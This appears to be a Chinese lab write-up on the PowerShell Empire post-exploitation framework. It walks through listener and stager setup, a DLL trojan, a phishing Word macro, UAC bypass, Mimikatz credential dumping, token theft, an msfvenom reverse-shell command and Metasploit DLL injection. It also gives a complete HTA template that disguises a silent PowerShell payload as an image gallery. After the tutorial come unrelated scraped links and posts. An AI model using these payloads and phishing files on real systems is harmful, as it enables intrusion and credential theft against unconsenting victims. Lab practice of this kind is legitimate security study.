Final——PowerShell Empire
一、介绍
- Empire是一款针对Windows平台的、使用PowerShell脚本作为攻击载荷的渗透攻击框架工具,具有从stager生成、提权到渗透维持的一系列功能。Empire实现了无需powershell.exe就可运行 PowerShell代理的功能,还可以快速在后期部署漏洞利用模块,其内置模块有键盘记录、Mimikatz、绕过UAC、内网扫描等,并且能够躲避网络检测和大部分安全防护工具的查杀,简单来说有点类似于 Metasploit,是一个基于 PowerShell的远程控制木马。
二、安装
Empire运行在Linux平台下,安装命令如下:
git clone https://github.com/EmpireProject/Empire.git
//这样容易失败,建议直接去链接处下载压缩包解压进行后续使用
cd /Empire/setup/
./install.sh
运行:
./empire
可以看到它包含三个部分:- 一个是
modules
即自身的一些模块 - 一个是
listernes
即监听,类似msf
的exploit/multi/handler
模块 - 一个是
agents
即已经链接上的会话,类似msf
所存的session
- 一个是
输入
help
查看使用帮助
三、基本使用
- 设置监听
listeners
进入监听线程界面uselistener
后按一个空格在敲两下TAB键
列出可供使用的监听器,这里我们选择http
- 查看要设置的参数:
info
我们看到Host
和Port
(即监听使用的ip和端口)已经是我们攻击方的IP和端口了,只需要修改Name
即可 - 设置参数:
set Name test
- 开始监听:
execute
- 设置完成后可使用
back
-list
查看设置好的监听器
- 生成木马
- 这里可以理解为
Metasploit
里的Payload
,Empire中有多个模块化的stager
usestager
后按一个空格在敲两下TAB键
设置采用的模块(可以看到支持linux、Windows、osx)
- 选择
usestager windows/dll
dll木马 info
查看参数设置
- 设置
Name
参数:set Name test
(注意这里的名字要和监听器的名字一样!) execute
执行后会看到在tmp
目录下生成了一个launcher.dll
文件,该文件在目标主机上可以通过webshell运行,运行后empire这边就会成功上线。- 或者可以
back
后输入launcher <language> <listenerName>
生成一行base64编码代码(即生成一个Payload),将生成的这段代码在装有powershell的目标机上执行,就会得到这个主机的权限。
- 这里可以理解为
四、渗透实践
1、利用PowerShell Empire生成网络钓鱼文件
- 使用Empire的
macro
载荷- 按之前步骤设置好监听
- 使用
macro
载荷
- 按之前步骤设置好监听
- 上图中我们生成了一个宏,并且保存在
tmp
目录中名称为macro
,打开我们可以发现该载荷使用PowerShell的编码命令进行了转换,就像我们用launcher powershell tc
生成payload,再进行VBA代码的转换。
- 将上面的宏添加到一个Office文档中
- 新建一个Word文件或Excel文件
- 选择
视图
-宏
,点击创建
后,在VB编辑界面将里面已有的代码删除,然后,将刚才用Empire生成的宏复制粘贴进去。
- 点击保存时会跳出一个对话框,选择
否
,接着我们保存为97-2003
格式即可。
- 现在将生成好的钓鱼文件在靶机上运行(钓鱼文件嘛里面要添加一些正常吸引人的内容),此时会有提示
未启用宏
,点击启用宏内容
后,ok上线成功!
- 下面我们就可以进行一些操作了!!
- 修改下靶机的名称(方便使用):
rename 43SY8BVU tc
- 与靶机进行交互:
interact tc
- 截屏:
sc
- 查看系统信息:
sysinfo
- 尝试提权:
bypassuac test
,等几秒钟,就会返回一个更高权限的shell,再次输入agents
,发现当前靶机主机名前带有一个*
,表示提权成功!
- 使用内置的mimikatz模块:
mimikatz
(神器mimikatz介绍)这里主要是抓取靶机的用户名和密码
- 修改下靶机的名称(方便使用):
2、MSF与Empire联动
- 我们在之前的实验里都是用MSF进行渗透获取session,而这个session一般是没有高权限的,这是我们可以利用Empire进行后续更高权限操作。
- 先使用
msfvenom
简单编码生成一个木马:msfvenom -p windows/x64/meterpreter/reverse_tcp_rc4 LHOST=192.168.88.130 LPORT=5330 -a x64 -f exe -o test.exe
- MSF中开启监听并在靶机上运行获取session
- 接下将这个session关联至Empire
- 创建一个监听器,设置监听器名字、监听主机和监听端口(注意和MSF的相同)
- 使用dll诸如进程来关联Empire:我们选用
usestager windows/dll
模块
- 选取一个进程号实现注入:MSF的session下使用
ps
查看进程
- 注入dll文件
background
后台运行会话use post/windows/manage/reflective_dll_inject
- 设置参数后
run
- 看到注入完毕,Empire这边就有了上线反应(因为电脑出问题重做了一遍,靶机地址有变)
- 下面我们先提权:
bypassuac test(监听名称)
- 现在我们使用Empire自带的module进行令牌窃取
- 使用内置
mimikatz
获取系统密码,执行完毕后输入creds
命令查看Empire列举的密码
- 窃取身份:
pth CredID号
- 窃取身份令牌:
steal_token PID号
- 通过
ps
我们可以找到该进程
- 使用内置
3、永生之火后门渗透
- Empire按之前步骤开启监听后,
launcher powershell test
生成一段powershell代码
- 随任意格式的图片在在线base64转换将其转成base64格式
- 上面代码插入以下代码块中
<html>
<head>
<title>weibo@flagellantX</title>
</head>
<script type = "text/javascript"> var index= -1;
var images = ["base64代码段"]; function initGallery () {
window.resizeTo (300,300);
htaPayload ();
nextPicture ();
}; function nextPicture () {
var img;
index = index + 1;
if (index > images.length -1) {
index = 0;
}
img = document.getElementById ("gallery");
img.src = images [index];
}; function htaPayload () {
var payload="PowerShell代码段";
try{
if(navigator.userAgent.indexOf("Windows") !== -1){
new ActiveXObject("WScript.Shell").Run("CMD /C START /B " + payload, false);
}
}
catch(e){
}
}; </script> <style> #gallery, div {
width: 100%;
height: 100%;
} #outer {
text-align: center;
} #inner{
display: inline-block;
} body {
background-color: black;
} </style> <body onload = "initGallery ()">
<div id = "outer">
<div id = "inner">
<img id = "gallery" onclick = "nextPicture ()">
</div>
</div>
</body>
</html>
- 将完整的代码,用
Script Encoder
程序打开,选用HTML/ASP+Scripts
,点击Convert
。在右边框,形成脚本代码。
- 之后我们打包出一个
.hta
的可执行文件,在目标主机上运行,轻松在Empire上线
参考资料
Final——PowerShell Empire的更多相关文章
- PowerShell Empire使用笔记
##安装过程 git clone https://github.com/EmpireProject/Empire.git cd Empire cd setup sudo ./install.sh ## ...
- 2018-2019-2 20165330《网络对抗技术》Exp10 Final 基于PowerShell的渗透实践
目录 实验内容 实验步骤 实验中遇到的问题 实验总结与体会 实验内容 PoweShell简介 PowerShell入门学习 PowerShell渗透工具介绍 相关渗透实践分析 ms15-034之Pow ...
- Empire – PowerShell 后渗透攻击框架
0x01 简介 Empire是一个后开发框架.它是一个纯粹的PowerShell代理,具有加密安全通信和灵活架构的附加功能.Empire具有在不需要PowerShell.exe的情况下执行PowerS ...
- 黑客讲述渗透Hacking Team全过程(详细解说)
近期,黑客Phineas Fisher在pastebin.com上讲述了入侵Hacking Team的过程,以下为其讲述的原文情况,文中附带有相关文档.工具及网站的链接,请在安全环境下进行打开,并合理 ...
- 使用mshta.exe绕过应用程序白名单(多种方法)
0x00 简介 很长一段时间以来,HTA文件一直被web攻击或在野恶意软件下载程序用作恶意程序的一部分.HTA文件在网络安全领域内广为人知,从红队和蓝队的角度来看,它是绕过应用程序白名单有价值的“ ...
- 使用msbuild.exe绕过应用程序白名单(多种方法)
一.MSbuild.exe简介 Microsoft Build Engine是一个用于构建应用程序的平台.此引擎也被称为msbuild,它为项目文件提供一个XML模式,该模式控制构建平台如何处理和 ...
- 使用wmic.exe绕过应用程序白名单(多种方法)
一.Wmic.exe wmic实用程序是一款Microsoft工具,它提供一个wmi命令行界面,用于本地和远程计算机的各种管理功能,以及wmic查询,例如系统设置.停止进程和本地或远程运行脚本.因 ...
- 使用regsrv32.exe绕过应用程序白名单(多种方法)
0x00 regsvr简介 regsvr32表示Microsoft注册服务.它是Windows的命令行实用工具.虽然regsvr32有时会导致问题出现,但它是Windows系统文件中的一个重要文件.该 ...
- 使用rundll32.exe绕过应用程序白名单(多种方法)
0x00 前言 本文演示了白名单AppLocker bypass的最常见和最熟悉的技术.我们知道,出于安全原因,系统管理员添加组策略来限制本地用户的应用程序执行.在上一篇文章中,我们讨论了“ Wind ...
随机推荐
- CF336C-Vasily the Bear and Sequence题解--贪心
题目链接 https://www.luogu.org/problemnew/show/CF336C 分析 一个比较妙的贪心 我们要让最后\(and\)起来的数被\(2^k\)整除且\(k\)最大,我们 ...
- springboot 集成 dubbo(一)简介
一.简介 1,springboot 是 一款快速开发的框架,减少了开发人员对配置文件的操作.采用一些注解来取代xml配置文件. 注解包含预先封装的注解和开发人员自定义注解.同时使用Maven.Grad ...
- K2 BPM_如何将RPA的价值最大化?_全球领先的工作流引擎
自动化技术让企业能够更有效的利用资源,减少由于人为失误而造成的风险损失.随着科技的进步,实现自动化的途径变得更加多样化. 据Forrester预测,自动化技术将在2019年成为引领数字化转型的前沿技 ...
- C和指针--链表
1.链表的基本概念 链表(linked list)是一些包含数据的节点的集合.链表中的每个节点通过链或指针连接在一起.程序通过指针访问链表中的节点.通常节点是动态分配的. 2.链表的分类 链表可分为: ...
- 2sum问题求解
什么是2sum问题呢?举个例子就明白了:对于数列:[0.1.2.3.4.5.6.7.8.9],求两数相加=9的所有两数的组合,所以结果为:[0.9],[1.8],[2.7],[3.6],[4.5].所 ...
- 使用expect登录批量拷贝本地文件到多个目标主机
#!/bin/bash # #******************************************************************** #encoding -*-utf ...
- linux基础_用户和组的三个文件
1./etc/passwd文件 用户(user)的配置文件,记录用户的各种信息 每行的含义:用户名:口令:用户标识号:组标识号:注释性描述:主目录:登录shell 2./etc/shadow文件 口令 ...
- poj2942 Knights of the Round Table[点双+二分图染色]
首先转化条件,把无仇恨的人连边,然后转化成了求有哪些点不在任何一个奇环中. 一个奇环肯定是一个点双,所以想到处理出所有点双,但是也可能有的点双是一个偶环,有的可能是偶环和奇环混杂,不好判. 考察奇环性 ...
- new一个对象的过程
不用死记硬背,理解才是硬道理.只需要写个例子,然后输出看一下就清楚了 首先我们看下new Person输出什么? var Person = function(name, age) { this.nam ...
- python大数据初探--pandas,numpy代码示例
import pandas as pd import numpy as np dates = pd.date_range(',periods=6) dates import pandas as pd ...